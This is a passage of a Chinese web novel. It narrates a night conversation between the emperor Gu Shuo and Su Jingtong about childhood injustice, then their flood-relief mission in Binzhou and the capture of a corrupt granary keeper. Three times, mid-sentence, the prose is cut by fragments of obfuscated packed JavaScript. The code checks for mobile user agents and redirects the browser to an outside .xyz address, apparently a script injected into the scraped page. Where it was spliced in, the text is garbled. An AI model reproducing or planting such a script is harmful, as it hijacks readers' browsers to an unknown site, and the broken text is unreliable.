还击谢永章他做得轻轻松松,但一想到谢永章他娘新阳郡主到皇宫找顾朔哭诉,便有种做了坏事被人家家长找上门的感觉,苏景同不由得心虚起来。 顾朔睨他:“早上不是威风八面吗?这会儿心虚什么?” 苏景同习惯性地抱他胳膊耍赖,顾朔伸出一根手指,点住他的额头,“注意行为,小太监可以随意抱皇帝胳膊吗?” 苏景同:…… 按摩的时候你怎么不说小太监不能随意给皇帝按摩? 苏景同果断停手。 顾朔眼皮抬也不抬,“继续。圣旨。” 苏景同:…… 苏景同认命继续按起来,小太监真是命苦哟,无权无势任劳任怨任人差遣。 顾朔给他下的旨意,白天在太学府当差,晚上在广明宫值夜。 广明宫里的值夜,平素是值夜的宫女太监在东偏殿候着,正殿的卧房内守着两个太监,卧房外候着两个太监。 龙床是千工拔步床,床外又有一层空间,床中床,罩中罩,床帏放下,便是独立空间。值夜的太监们便在床外等着。 顾朔不爱奢靡享受,入主广明宫后取消了卧房内的值夜,卧房外只留一人。苏景同来了,他又恢复了卧房内的值夜,但只留苏景同一人值。 苏景同抱着毯子,坐在床外的地上,靠着床柱闭目养神。值夜并不算辛苦,多少主子贵人不起夜,一觉至天明,太监们只需要等主子睡着,就能自己也睡了。 唯一不好的点是上工地点在床榻前的地上,不大舒服。 但广明宫铺着厚实的地毯,并不比床差。 苏景同蛮喜欢顾朔的安排,在他们决裂候的那些年,苏景同很少能安眠,年少时便失眠多梦,长大后变本加厉,常常梦到顾朔死在西北战场上,然后惊醒,一夜无眠,翻来覆去地推演西北战局,直至天明。现在这样就很好,顾朔就在他身边,一抬眼便看得见。 当然,如果能上去睡就更好了。 看见,哪有抱着踏实。 顾朔瞥他:“想上来?” 苏景同心猿意马,今夜月色正美,昏黄的烛火在清冷的夜色中染着温暖的氛围,低垂的床帏朦胧着视线,顾朔身上还沾着清爽的皂角香。 苏景同伸手在顾朔手心勾了勾手指。 顾朔面无表情地打掉他的手,“朕说过,注意身份。” “哦。”苏景同闷闷不乐地回到原位。 “等你什么时候说清楚决裂的前因后果,朕再考虑修复关系。”顾朔道:“你现在有什么想跟朕说的么?” “说什么?” “什么都可以。”顾朔道:“你说,朕听。” 17. 第一次谈心 “小太监,”顾朔提醒:“抓紧时间,毕竟你藏了太多事情。” 唔…… 说什么呢? 苏景同想了想,“我今天在太学府,见到了霍方和谢永章,他俩关系不大好,针尖对麦芒。” 顾朔静静听着。 “太学府的勋贵子弟和各地学子,从来都是两个阵营,天然对立。霍方是各地学子中的领头羊——虽然他才学并不是最拔尖的,但很有领导力。谢永章是除了顾炎以外,太学府身份最高的勋贵子弟。” “我今天看到他们,突然想,你第一次见到我时,你是什么感觉。”苏景同靠着柱子,闭着眼睛说,“你一定很讨厌我。” “为什么?”顾朔问。 “你藏得是很好啦,皇子殿下,气度浑然天成,不动声色的从容是你的必修课,你那时从不表露喜怒。”苏景同皱皱鼻子,“但你在学府总是绕道走,不跟我打照面。” “是因为我爹吧,你觉得我们是敌人,”苏景同说:“你讨厌我。” 顾朔沉默,他没想到苏景同还记得小时候的事。 顾朔比苏景同大五岁,五岁的年龄差注定他们不可能坐在同一个学堂中,但可以在同一个学府见面。 五岁的苏景同要来皇宫进学,给十皇子当伴读,整个皇宫都折腾到人仰马翻。 给皇子讲学,讲不好不碍事,周文帝不管。给摄政王世子讲学,要是讲不好,官职不保。大学士们一时间忙翻了天,把曾经讲过千百遍的启蒙书,细细研磨,不仅要讲得深入浅出,还要讲得有趣,生动,引起小世子的兴趣。为了赶在苏景同来之前研究明白,给皇子们上课都变得敷衍起来。 学府往日两天洒扫一次,为了迎接摄政王世子,先进行大扫除,从里到外上上下下打扫得干干净净,又调整打扫安排,改为一日两次,务必不能叫世子殿下瞧见一点脏污。 学府侍奉的宫女太监,挨个拉出来检查,呆头呆脑的不要、干活愚笨的不要、长相不雅观的不要、声音粗糙嘹亮的不要…… 皇子们提议了多次的学府小厨房,火速建成,宫中最好的御厨分来此地掌勺。摄政王府还送了四个厨娘进来,免得娇贵的世子殿下吃不惯宫中平凡的菜肴。 大皇子站在学堂窗前,冷冷地看着学府院子中各路宫人手忙脚乱在院中折腾。 “快点的!打扫都仔细着点,哎哎哎,来两个太监,上房顶擦擦,房顶也得亮堂堂的,等世子来了,让世子看咱们脏乱的屋顶?用点力,擦到能反光!” “花房的把这几盆花都撤了,开得蔫耷耷的,让世子赏花呢,还是看晦气?等等,你们送的什么花?花房不是培育出金盏莲了吗,送白莲过来做什么?世子都要来了,金盏莲不拿来给世子,你们花房要留着金盏莲过冬吗?” “那头盘食材的,挨个看清楚,你们平时在尚食局怎么偷奸耍滑吃回扣的,杂家不管,世子爷吃饭的地儿,食材必须是一等一的,再拿你们尚食局以次充好的那套手段过来,别怪杂家不讲情面!回头世子吃出问题,你们担待得起么?” 大皇子冷笑:“这狗东西。江山到底姓顾还是苏!” 二皇子摇头,关上门,合上窗,免得声音传出去,“皇兄慎言。” 三皇子功课写得不好,刚被大学士罚了写大字,才叫伴读替他抄,不由得同情起十皇子,“你们说,小十若被罚大字,苏景同能替他抄么?” 四皇子原本趴在桌上假寐,闻言笑出声,“老三你真敢想。你看大学士的态度,小十给苏景同当伴读还差不多。” 五皇子表示四皇子说得有理。 七皇子吃着大宫女做的风干牛肉,“可怜的小十,本皇子可以分他一半牛肉。” 八皇子趁机抢了一块,“七皇兄也心疼心疼我罢,我、小九、小十、小十一,和苏景同一起进学,我们四个都会是他伴读的。” 九皇子哀叹一声,“上学不好玩,有苏景同更不好玩。” 十皇子愁眉苦脸,他和苏景同一样大,五岁,还听不明白为什么苏景同从他的伴读成了他是伴读,但看皇兄们都不高兴,想必不是好事。 十一皇子懵懵懂懂,从七皇子那儿要了块牛肉啃。 八皇子说:“本皇子有个妙计。” 大皇子懒得问,八皇子合九皇子刚满六岁,吃饭都吃不利索的年纪,能有什么妙计。这些兄弟中,唯独算能想出“妙计”的…… 大皇子看向平静看书的顾朔,从刚才起顾朔就一言不发,他诸多弟弟中,顾朔是最沉得住气的,任外面风雨飘摇,他自岿然不动,摄政王世子来进学的小事,并不能影响他看书的兴致。 顾朔看完手头的书,把要记的内容记好,安静地穿过群情激昂的皇子们,去藏书阁找其他书看。苏景同要来进学的事没在他心里落下一片尘埃,一来早有预料,二来摄政王权倾朝野,皇宫内外捧他轻皇室是常态,无需惊讶,三来背后说人不是君子行径,苏景同堪堪五岁,又能做什么。 这个想法在他被周文帝罚了二十板子、带伤跪在学府门前的青石板路上时,荡然无存。 八皇子的妙计,完全符合他的年龄。他天真地在苏景同的轿辇必经之路,撒了半路油。抬脚的车夫脚滑,小小的苏景同摔了下来,磕破头,泪眼婆娑地回了家。 周文帝不能不给摄政王交代。查起来着实轻易,八皇子生母是娴妃,行事时不曾避着宫人,大大咧咧派娴妃宫中的宫人去尚食局要油。扯到娴妃头上,娴妃把寄养在他名下的顾朔推了出来,直说是顾朔挑唆弟弟行事。 顾朔带伤从清晨跪到月上中天。 等小苏景同养好额头的伤再来学府,小顾朔便敬而远之了。 顾朔想起往事,突然觉得他们应该换个姿势来聊,把苏景同叫进床帏来,苏景同坐在地坪上,头靠在床上,顾朔扯扯苏景同的耳垂,“没有讨厌你。” “朕当时……”顾朔斟酌言辞,他亲娘去世,养母对他不好,唯有周文帝对他还算不错,平时会念叨几句,带伤罚跪那次,撕破了他的温情面具,接受爹娘不爱自己,从否定自己的出生中找到支撑的理由,是惨烈的修行,“朕对所有人敬而远之。” 顾朔沉默片刻,他情绪内敛,寡言少语,厌恶将自己的想法剖析开展现在旁人面前,像在世人前裸奔——尤其回忆他不愿提及的过去。说到这里,已经是他的极致。 苏景同拍拍他的手,便是顾朔不说,他也知道顾朔那时的状态过于疏离,必有隐情。 顾朔微微摇头,艰难地开头,“是小八。” “嗯?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908530|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你来学府第一天,轿夫在路上踩到油,脚滑,你摔下去磕破头。地上的油是小八命人倒在你的必经之路。”顾朔紧绷着身体硬逼着自己说完这句,他要求苏景同要说清楚前尘往事重新开始,自己却有所隐瞒,这算什么开诚布公?他如果藏着自己的事,又有什么脸要求苏景同说清楚呢? 话一旦开头,再往下说便容易许多,“你哭着回去,摄政王大怒,当天入宫要求父皇给他交代。父皇追查,查到是娴妃宫中的人去尚食局要油。” 苏景同其实记不清五岁的事,他起话头是因为模糊记得刚入学府那些年顾朔避着他,没想到顾朔居然提到了第一天进学的事。他连自己摔了都没印象,哪里还记得什么油。 居然是八皇子么…… 好端端地提这个做什么? 等等。他们是怎么聊起这里的?苏景同问他第一次见自己的印象…… 苏景同突然明白,他以为的他们第一次见面,是六皇子伤好后在学府见面,顾朔眼中的第一次见面,难道是他摔了的那回? “娴妃娘娘不愿小八被处罚……” 苏景同明白了,宫人是娴妃宫中的,娴妃舍不得亲儿子,自然就把寄养在她处的便宜儿子推出去。 苏景同拍拍顾朔的手,示意他不必再往下说,顾朔那时不过十岁,被自己养母推出去顶罪的滋味想必难熬。过去足够难受,又何必非要讲出来,重新挖开血淋淋的伤口。 顾朔自然地说下去,“娴妃宫中的宫人众口一词,我的衣食住行全在娴妃宫中,仰人鼻息。皇后和大皇子一口咬死就是我。” “而我父皇,他当然知道不是我,可他不在乎真相,他只需要一个交代。”顾朔道:“我无可辩驳,只能沉默。” 苏景同心头一紧,被父母明知冤枉还要推出去顶罪,难怪顾朔小时候不爱理人。 “我跪在青石板路上,周围宫人来去,人人都能看到我被责罚,”顾朔笑了一下,笑意不达眼底,“我好面子,这比再给我二十板子还要让我难堪。” “我跪着的时候心里有很多愤懑,很想站起来和他们分辨是非。等我情绪平复,我开始反思我为什么会失控。” 苏景同服气,顾朔情绪稳定得可怕,其他十岁的小孩遭遇此事,只怕哭得不能自已,而他挨了二十板子又被罚跪,居然在反思自己怎会情绪失控。 “我认为是我没看清自己的处境,对他们有过高的期待。”顾朔慢条斯理道:“我们兄弟十一人中,我父皇最看重大皇兄,他是嫡长子,外祖父掌握禁军兵权,我父皇想在你爹手中讨得喘息,要依靠他外祖父。其次是我,他觉得我最像龙子凤孙,赏大皇兄两件东西,会想着赏我一件。因此宫人不敢因我生母卑微怠慢我。他是宫中权与力的代表,随手一举就能改变我的处境。我对他有不切实际的期待。” “他那天选择冤枉我,理由很充足。第一,大皇兄和皇后娘娘视我为眼中钉,指证是我,他想维系和皇后一族的关系,不肯拂他们面子。第二,他急需给你爹交代,没空去查真相。第三,养母冤枉寄养的孩子,是皇室丑闻,他不想丢人。” 顾朔平静地像在说别人的故事,“我太把自己当回事,以为他作为我父亲,会为我主持公道。所以当他没有,我失望,我愤怒。” 18. 厌恶 “我对娴妃倒没什么怨气,娴妃娘娘心中,我是寄养在她名下的皇子,和亲生的儿子有亲疏远近之分。只是我出生起就在娴妃宫中长大,视她为亲娘。她待我和气温柔,我曾经很喜欢她。骤然遇到此事,没收拾好心情。” 顾朔道:“这只是一次合情合理意料之中的偏心,我早有预料却依然失控,是因为情感淡化了我的理性。” “我回想了我和娴妃相处的点滴,娴妃起初待我很一般,她养我两年后怀孕生子,从此心思都在小八身上。后来父皇待我有两分看重,偶尔来娴妃宫中坐坐,问我功课,娴妃才待我好起来。” “娴妃宫中的宫人,平时待我不错。但事到临头,依然会听从一宫主位娴妃的安排。” “这就是权力的力量。”顾朔说:“跪在那里的是我,而不是别人,是因为我没有权力。我不能让皇权统一、不能让摄政王忌惮、不能让父皇依靠、不能让宫人臣服。情绪失控是因为我没看清自己的处境,有错误的期待。” “这是严重的错误,我需要纠正。”顾朔垂眸,“纠正不容易,我需要时间。所以那时躲你,也躲所有人。”顾朔揉苏景同的头发,“不是针对你。不讨厌你。” 苏景同窒息,作为孩子,觉得自己爹娘爱自己,这是什么错误?他需要纠正什么? 看清自己在周文帝和娴妃心中什么都不是? 用对皇帝和一宫主位的态度去面对自己的爹娘? 顾朔说得轻描淡写,苏景同听得字字钻心,他那时要用什么心情,去一遍遍洗脑提醒自己,爹娘不爱他,一切都是假的,他们的温情掺杂着利益纠葛,他必须要把家当做战场严阵以待。 苏景同把脸贴在顾朔手背上,亲昵地噌噌,“对不起。”摔一跤是什么大事?假如他没有哭着回去告状,他爹不会找周文帝要说法,顾朔也不会受此苦,“你没有错,你已经做得很好了,你当时才十岁,你足够冷静、足够理性,你没有做错任何事,是他们不负责任,错的是他们,是我。” 顾朔手翻转,掐住苏景同的脸,“收回你的道歉。” 苏景同不明所以。 五岁的小孩,从轿辇摔下来,磕破头,哭着回去告状,情理之中。苏景同一面安慰顾朔,说这不是他的错,是周文帝和娴妃不负责,一面却又怪五岁的自己不该哭,不该没预见到对他的伤害。“你道德感总是过高,你最擅长的事是难为自己。”顾朔评价,“朕不想从你口中听到道歉。” 苏景同奇怪地看他。 顾朔补充:“这是圣旨。” “那,”苏景同犹犹豫豫,“接旨。” 顾朔又将话题带回来:“朕有一点不明白。” “嗯?” “不止朕躲你,学府的皇子、伴读,人人都怕你。”顾朔问:“你为何偏记朕?” 苏景同难以启齿,“他们长得不好看。” 顾朔:…… “你……”顾朔憋得说不出话。 “爱美之心人皆有之,”苏景同无所谓,“你们读书人就是太拘泥,谈美色变。” “陛下,”苏景同懒洋洋道:“你这般容易脸红,很难不让人想逗哭你。” “除了这件事,”顾朔冷静地转移话题:“你还有别的要控诉朕讨厌你的事吗?” 苏景同冷笑,“数不胜数。” 顾朔:…… 何至于此。 天色太晚,“先捡要紧的说。”顾朔道。 “滨州赈灾。”苏景同斩钉截铁。 文和11年,大皇子和皇后撺掇周文帝把刚满十四岁的顾朔扔到新州当郡王,封号熙,远离权力中心。文和15年,摄政王苏季徵担心在外的藩王坐大,以给周文帝祝寿为由,将所有藩王找回来,包括十八岁的顾朔。 新州苦寒,顾朔去时,一身锦缎,回来时换了粗棉衣。 国家再乱再穷,京城都不穷,生活富足。顾朔生在宫闱、长在宫闱,曾经走的最远的路,是在皇宫狩猎场。他睁眼是繁花似锦,闭目是纸醉金迷。 顾朔自以为在宫中看尽人情冷暖世态炎凉——自挨过周文帝的罚后,宫里拜高踩低,一应用度都是别人挑挑拣拣剩下才给他,锦缎是缝制错版不齐整的,饭菜是不新鲜的,冬日炭火是克扣的,就连笔墨纸砚,都是最差的。 他到了新州才知什么是民生凋敝食不果腹衣不蔽体。原来就算一年到头劳作,也会饿死;原来一个小孩卖身为奴任打任骂,只要十来斤粮食;原来草皮树根观音土,都是可食用的;原来全家只有一条裤子,谁有需要谁穿出门。 他曾经顾影自怜的爹娘不爱,找不到出生活着的意义,在新州真正的巨大苦难面前不值一提。比起矫情的鸡毛蒜皮,如何让新州百姓活下去才是正事。 他没日没夜研究怎么能治理好新州,砥砺四年,才堪堪让新州百姓能吃饱肚子。 锦缎自然不穿了,穿着锦缎在新州,像行走在他人的伤口上,火辣辣地羞耻。 顾朔自新州回来,再看到京都的金碧辉煌挥金如土,愈发沉默。 文和16年,滨州水灾,急需朝廷救援。 周文帝安排大皇子携带尚方宝剑前往赈灾,为他攒攒声誉功绩——赈灾并不容易,但摄政王把持朝政,轻松挣功劳的活他一点不肯放给大皇子,赈灾又苦又累,风险高,地区错综复杂,一个做不好容易把自己搭进去,摄政王作壁上观,由着周文帝操作。 周文帝也想到这点,光把大皇子放下去,他一万个不放心,皇子中若问谁有本事把事办好,盘点来盘点去,只剩顾朔。 顾朔在新州的政绩着实突出,他从新州走的时候,百姓哭着送了几里路,争抢着往他马车上塞干粮——粮食是百姓的命根子,但愿意给他路上吃。顾朔红着眼下车给送别的百姓磕了个头,才转身离开。 ——探子报回时,周文帝长吁短叹许久,顾朔生错肚皮了,他要托生在皇后肚皮里就好了。 大皇子为钦差,顾朔为辅。有顾朔辅佐大皇子,大皇子应当能圆满完成任务回来。 圣旨下后,摄政王把苏景同也插进赈灾队伍——与其让大皇子一个人独占政绩,不如大家一起,苏景同十四岁了,也是时候攒功绩了,周文帝放心顾朔,苏季徵同样信得过顾朔,有顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908531|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朔在,此行自然无忧。 苏景同一到滨州就吐了。 他们带着粮的马车刚进滨州,就被流民拦截哄抢。流民们赤身裸体,瘦得皮包骨头,脸色发黑,泥污遍布,能看到他们薄薄的一层皮裹在肋骨上,每根肋骨都清晰可见,胳膊和腿上没有一点肉,膝盖骨突出。饥饿的驱使下,流民丧失了理智,只知道一拥而上,你抢我抢,从马车上扒下来的生米,不管能不能吃,先囫囵塞口里,每个人都在拼命地疯抢,生怕晚一步抢不到粮食。 苏景同看到不少人在抢粮食的时候,被人推搡摔倒,他们来不及爬起来,就被后面蜂拥而上的流民们踩着过去,连声音都没发出来,就被活活踏死。 苏景同的马车也不曾幸免于难,粮食车前人山人海,挤不进粮食车的人,便来扒马车,马车上说不定有吃的,无数双枯黄的手扒上苏景同的车…… 等顾朔带人驱散流民,维护好秩序,苏景同下车,吐了个天昏地暗。 苏景同抬头,看到顾朔的脸,他面无表情,不知在想什么。 “你当时大概很讨厌我。”苏景同回忆当年顾朔的眼神,他的眼睛没有任何情绪。 “为什么这样想?”顾朔问。 “我吐了。你可能认为我在厌恶流民,被他们扒上马车,弄脏马车,恶心吐了。”苏景同说,“我听我爹说过你从新州离开时,百姓沿街送别,你爱百姓,百姓也爱你。你大抵是看不惯我这等娇贵的人。” 苏景同把玩着顾朔的手指,“但我不是因为这个。我知道我是来赈灾的,我爹当时要给我带一个百人护卫队,和四十个丫鬟小厮,我全部拒绝了,就带了一个小厮出门。我以为我很亲民。” 苏景同扯扯嘴角,“我下车,看到地上横七竖八的尸体,他们是抢粮食时摔倒,被后面挤上来的流民活活踩死的。我在想,我身上这套衣服,坐的这辆马车,如果换成粮食,够他们吃几年?或者几十年。” “所以我吐了。”苏景同淡淡道:“我在恶心我自己。” “世上还有比我更虚伪的人么?”苏景同笑得讥诮,“皇商采买、各地上供的最好的布料,那些年都是先送到摄政王府让我爹和我挑完,再往皇宫送。全京城的贵人数起来,没人比我更奢靡。而我居然以为带一个小厮,是亲民。” “我后来常常睡不着,我在想我爹到底在做什么。我爹总是告诉我,皇位有能者居之,每个王朝的最后都是民不聊生,是新时代建立才带来了安定富足。他从不在我面前避讳篡位之心,他觉得他是有能者。可我爹独揽朝政十余年,为什么滨州会是人间炼狱?” 苏景同望着顾朔沉沉的黑眸,“你说,我享受着民脂民膏,是否是一种罪?我借着我爹的身份,才得以挥金如土,却又在心里怪我爹,这是否是另一种罪?” “你厌恶我是应该的。”苏景同想,你是天上的月亮,我是沉沦在欲望泥潭中的烂泥。 苏景同听到顾朔轻轻叹了一口气,他的呼吸喷涌在自己头顶,继而一只温柔的手抚在他头顶,“原来你是这样想的。” “你想听听我当时的感受吗?”顾朔温柔地问。 19. 行动 “嗯?” 那天…… 苏景同吐得天昏地暗,头脑发晕时,一只矜贵修长的手托着月莹棉的帕子,递到他面前,帕子上用银线绣着一个小小的“川”字。 顾川,大皇子。 “吓坏了吧。”大皇子说,“出来赈灾是这样的,一个不小心,就会被刁民围追抢劫。” 刁民…… 苏景同难以置信自己耳朵听到了什么,地上还横七竖八躺着流民瘦的皮包骨头的尸体,目睹了人间惨剧,他竟然在说“刁民”? 苏景同侧头,避开大皇子的帕子。赈灾出发前,他便不大看得上大皇子的行径——这人知道自己是来攒功绩的,又和六皇子顾朔一同出门,生怕穿得素净,旁人分不出他和六皇子谁主谁次,叫尚服局赶制了几套奢华无比的衣裳鞋子,好压六皇子一头。 送粮的队伍是从津门抽调回的赤霄军。赤霄军独立在朝堂外,并未被摄政王苏季徵笼络。 苏景同的意思是大家急行军送粮。 大皇子心里盘算着他的小九九:禁军一共两万人,虽然都是好手,但数量上有所欠缺,一旦和苏季徵撕破脸,不够用,赤霄军负责镇守津门,一共有三万人,眼下抽调了三千人回来送粮,若能笼络赤霄军,自然是极好的。 大皇子便道:“滨州乃粮食大洲,除了滨州粮仓,滨州粮商处也有不少粮食,不必急于一时。赤霄军的将士们连夜从津门赶回,一路舟车劳顿,不如我们缓行军,也好叫赤霄军的将士们略作休息。” 顾朔罕见地插话:“急行军。” 大皇子充耳不闻——老六不愿看到他笼络赤霄军罢了。 最后是赤霄军首领三番四次表示无妨,可以急行军,赈灾要紧。他们才得以急行军快速赶到滨州。 路上,大皇子的矫情愈发上劲儿。他是真正的贵人出身,急行军只能用轻便的马车,他坐得不舒服,坐久了腰酸背痛,便时不时要停下休息,顺便去找赤霄军首领聊天,拉近感情。 吃食上也挑剔,总说“这些干粮怎能用来招待赤霄军的兄弟们,咱们去城里吃些好饭好菜”。他们离城远,一来一回需要一天。三千人的饭菜,需要几十个店家来做。 虽说急行军,但行军速度被他拖慢了好多天。 苏景同实在见不得他,堂堂皇子,不分轻重缓急,灾民还等着救援,他在这儿大肆拉拢赤霄军,在大皇子又一次提出要去城中吃饭时,苏景同冷声道:“要去你自己去,本世子急着去滨州。” 苏景同抬下巴吩咐赤霄军,“留三十人保护大皇子,其他人随本世子走!” 赤霄军首领心里正着急赈灾的事,有人挑头,他忙不迭应:“是。只是三十人保护大皇子不合规矩,留一百吧。” 大皇子哪能叫他们丢下自己,连忙道:“既然景同心急,本宫随你们一起吧。” 好不容易走到滨州,现在,大皇子又在说,“刁民”。 苏景同心中的厌恶一时达到顶峰。 他缓了缓,从地上慢慢站了起来,问顾朔:“我们现在做什么?” 顾朔有条不紊地下指令:“赤霄军一队,去决堤口检查河堤加固情况;二队三队在全滨州排查城内危险点,重点关注河流沿岸水位、沿岸堤坝情况、百姓房屋损毁以及可能成危房的情况、城村道路情况、大型建筑情况,是否有垮塌风险;四队五队和滨州刺史对接,清点滨州受灾人口情况;六队七队负责施粮;八队九队保护粮车,避免哄抢事件。” “十队去查滨州粮仓进出和粮食品质情况,本王想知道滨州为何身为粮仓却遍地饿殍,如有证据证明有人中饱私囊,立刻报回。十一队对接城中粮商,稳住粮价,谁敢在这个档口哄抬粮价,斩了!十二队排查有无疫情发生;十三队做好尸体处理工作,避免造成新疫情;十四队,是大夫们吧,分散开治伤;十五队负责衣物安排;十六队负责搭建帐篷,供流民应急居住;十七队十八队……” 顾朔每安排一条指令,就有一批士兵出发按照他的指示去做,不到片刻,在场的只剩二十个将士,和大皇子苏景同顾朔三人。 大皇子皱眉:“你安排的时候为什么不问问本宫的意见?” “只剩二十人,谁来保护我们?刁民刚刚怎么哄抢你也看到了。”大皇子不赞同道:“我们起码应该先去见过滨州刺史,了解滨州的情况,再行决定。” 苏景同无视大皇子的反对,问顾朔:“我去十队?” 十队是查滨州府粮仓问题,顾朔怀疑有人中饱私囊,粮仓中的粮食被滨州的官员倒卖,导致流民没有及时得到应急储备粮。 顾朔颔首,滨州是富庶地,粮食大州,就算洪灾淹没了滨州全城,滨州的粮仓也能撑一个月,现在才不到半月,滨州粮仓竟然告急,其中难免有鬼。且观流民的身体状态,只怕饿了不止半月,平素就忍饥挨饿才对。 他们三个人中,苏景同是最适合干这件事的,滨州敢明目张胆行事的,背后必有靠山。论靠山,谁的靠山能硬气过苏景同? 大皇子被他俩无视,心头的火冒出来:“本宫的话你没听到么?我们不去对接滨州刺史,就先行行动,合适吗?” 苏景同懒得理他,径直去和十队汇合。滨州粮仓出事,说不得就有滨州刺史的问题,这时候和滨州刺史对接什么,等他把我们绕进圈子里么?先把基础情况摸清了,再对接才好。 顾朔安排完苏景同,没安排大皇子,自己驻扎居中指挥——留下的二十个士兵,只有三个是保护大皇子的,剩下十七人负责机动,及时传达顾朔的指令。 大皇子火冒三丈,“顾朔!你好大的胆子,你是不是忘了本宫才是本次行动的总负责人?” 顾朔平静道:“嗯,那你指挥吧。” 大皇子眼看着自己身边就剩三个人,其他将士已经离开,这还指挥什么?指挥这三个人吗?! 大皇子一口气憋在胸口,上不去下不来,直直憋红了脸。 冷静,冷静。 就让他俩去做又怎么样,这次挂名总负责是他,他们无论干出什么结果,功劳都是他的,何必同他们置气? 等荡平摄政王,登上皇位,他俩算个鸡毛。 鸡毛! 鸡毛! 顾朔没理他,自顾自指点赤霄军去了。大皇子说得并非全无道理,按照常理,他们是应该对接滨州刺史的,只有对接了,滨州配合了,他们的行动才好展开。眼下顾朔要他们做的只是前期踩点和紧急施粮,避免被滨州官员们糊弄。等明天弄清楚大致情况,他就要出面对接滨州官员。 只不过这些没必要告诉大皇子,那滨州刺史……顾朔心底发沉,滨州刺史徐锐是六年前的状元,那一年主持科举的是大皇子的外祖父,徐锐是天子门生不假,也是大皇子外祖父的门生。 苏景同带队出发干活,大皇子因无事可做,又怨顾朔抢他指挥权,索性跟着苏景同,苏景同给他寻了个好活计,他不是想去会见滨州刺史么,去找滨州刺史,把滨州一众高官都带去宴会,拖住他们。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908532|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要干什么?”大皇子警惕。 苏景同瞥他,“这你别管。” 大皇子抓抓头发,这要是顾朔安排他,他心里一千一万个不服气,也会去做——顾朔心里有成算。苏景同才十四岁,这祖宗纨绔名响彻京都,此前从没办过差使,查滨州刺史这么大的事,他毛头小子毛毛躁躁,办砸了怎么办? 功绩可是挂他的名。 大皇子道:“我跟着你。” “那谁去拖滨州刺史?”苏景同问。 大皇子心一横,指着赤霄军首领:“他。” “就说我们水土不服,好好歇歇。”大皇子说。 “也行。”苏景同转头吩咐赤霄军首领,“记住了,郡王殿下心系百姓,已在一线指挥,本世子和大皇子水土不服,需静养几日。圣上心系滨州水灾,欲御驾前来,然兹事体大,又因滨州刺史勤勉谦恭,简在帝心,特遣派我们来此代圣上赈灾,请滨州刺史务必以民为本,以慰君心。另外,本世子和大殿下水土不服,问滨州刺史可知治病之法?” 大皇子眉头皱起,苏景同在说什么玩意儿?他父皇什么时候提过要亲自来赈灾,又什么时候觉得滨州刺史不错? 苏景同喊:“弦歌。” 跟着苏景同来的小厮出列:“奴才在。” “跟着首领去,务必把本世子的话如数带到。” 弦歌拱手:“奴才省得。” 等弦歌和赤霄军首领离开,大皇子终于忍不住问:“你在干什么?” 苏景同冲他比了个“嘘”,冲十队的人道:“开始干活!” 苏景同安排十队的人去查三年来粮仓看守人的个人情况和家庭住址。按照惯例,粮仓看守者轮班制,一天两班,每班二人。三年来未调换过人,始终是这四人。 苏景同又叫人潜入粮食司,偷到了滨州三年上报的粮食诏报及收缴文件。 太阳落山后,滨州粮仓。 张老五左手提着酒葫芦,右手拎着菜刀,醉醺醺地晃悠着走在小路上。他是滨州粮食看守人,做这行已经十来年了,活很轻省,粮食来了走了都称重登记,最近滨州水灾,滨州粮仓空空如也,他更没什么活干。 张老五慢悠悠呷了口酒,这酒是好东西,用制造贡酒的粮□□酿出的酒,除了没盖御品的章,和御酒没区别,皇帝的生活也不过如此。 张老五溜溜达达走,酒醉的感觉很美妙,整个人像踏在云上,飘飘欲仙。 他原本还可以更快乐,是该死的流民,非觉得粮仓里有粮食,三不五时来抢,好在抢过几回后,粮仓没粮的消息传了出去,这两天没人来抢了。 张老五暗自高兴,幸亏他平时就爱从粮仓顺点粮,遍地死人,只有他家没事,还吃得肚皮圆滚,还得是他厉害有本事。 穿过小巷子,就是他家。水灾没发生前,小巷子里有卖小零嘴的小贩,现在都没了,吃都吃不饱,哪来的多余粮食做小零嘴。民间夜里休息的早——大家没钱买烛火,太阳落山后,小巷子顷刻荒凉起来。 小巷子伸手不见五指,张老五后背有点发毛,总觉得今晚的小巷子和平时不大相同,但瞧来瞧去,都是黑布隆冬,张老五甩甩头,暗骂自己喝酒喝傻了,连个小巷子也怕,都说酒壮怂人胆,他怎么越喝越疑神疑鬼。 张老五狠狠啐了一口痰,走进小巷子。 夜风冰凉,带着肃杀的寒意。 张老五不由自主裹紧身上的衣裳,今天有点冷啊。 继而后勃颈一疼,张老五失去了意识。 20. 审讯 张老五昏昏沉沉,等他被一盆凉水泼醒,情不自禁打了个寒颤。他所处的环境并不陌生,这是他待了几十年的家,他被五花大绑,周围站了一票穿着统一的人,气势一往无前,像士兵。 张老五迟缓地想:士兵?哪里的士兵。滨州的士兵他见过的,不穿这样。哪里的士兵会来滨州? 